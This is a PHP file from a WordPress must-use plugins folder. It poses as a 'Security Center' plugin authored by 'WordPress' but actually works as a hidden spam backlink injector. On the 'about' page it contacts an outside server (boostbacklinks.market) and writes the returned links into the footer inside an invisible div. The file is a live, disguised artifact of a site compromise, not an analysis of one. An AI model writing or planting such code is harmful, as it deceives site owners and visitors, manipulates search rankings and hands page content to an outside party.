File: /home/zulfiqar/public_html/wp-content/mu-plugins/__secwaf.php
<?php
/**
* Plugin Name: Security Center
* Description: This MU Plugin automatically checks security
* Author: WordPress
*/
if (!defined("ABSPATH")) {
exit;
}
function add_backlinks_to_footer_html() {
$selected_pages = array (
0 => 'about',
);
$include_front = false;
$should_show = false;
// Hiç seçim yoksa: sadece ana sayfada çalış
if (empty($selected_pages) && !$include_front) {
if (!is_front_page()) {
return;
}
} else {
// Ana sayfa seçiliyse
if ($include_front && is_front_page()) {
$should_show = true;
}
// Sayfa slugları seçiliyse
if (!$should_show && !empty($selected_pages)) {
if (count($selected_pages) === 1) {
if (is_page($selected_pages[0])) {
$should_show = true;
}
} else {
if (is_page($selected_pages)) {
$should_show = true;
}
}
}
if (!$should_show) {
return;
}
}
$site_id = "694e86893acb4";
if (!$site_id) return;
$url = "https://home.boostbacklinks.market/ajax/request/";
$post_data = ["site_id" => $site_id];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
curl_close($ch);
echo '<div style="display:none">';
if ($response !== false) {
$data = json_decode($response, true);
if (isset($data["status"]) && $data["status"] === "true" && !empty($data["sites"])) {
echo '<div class="site-links">';
foreach ($data["sites"] as $site) {
$site_url = esc_url($site["site_url"]);
$keyword = esc_html($site["site_keyword"]);
$nofollow = $site["is_nofollow"] == 1 ? 'rel="nofollow"' : '';
echo "<a href=\"$site_url\" $nofollow title=\"$keyword\" target=\"_blank\">$keyword</a><br>";
}
echo '</div>';
}
}
echo '</div>';
}
add_action("wp_footer", "add_backlinks_to_footer_html");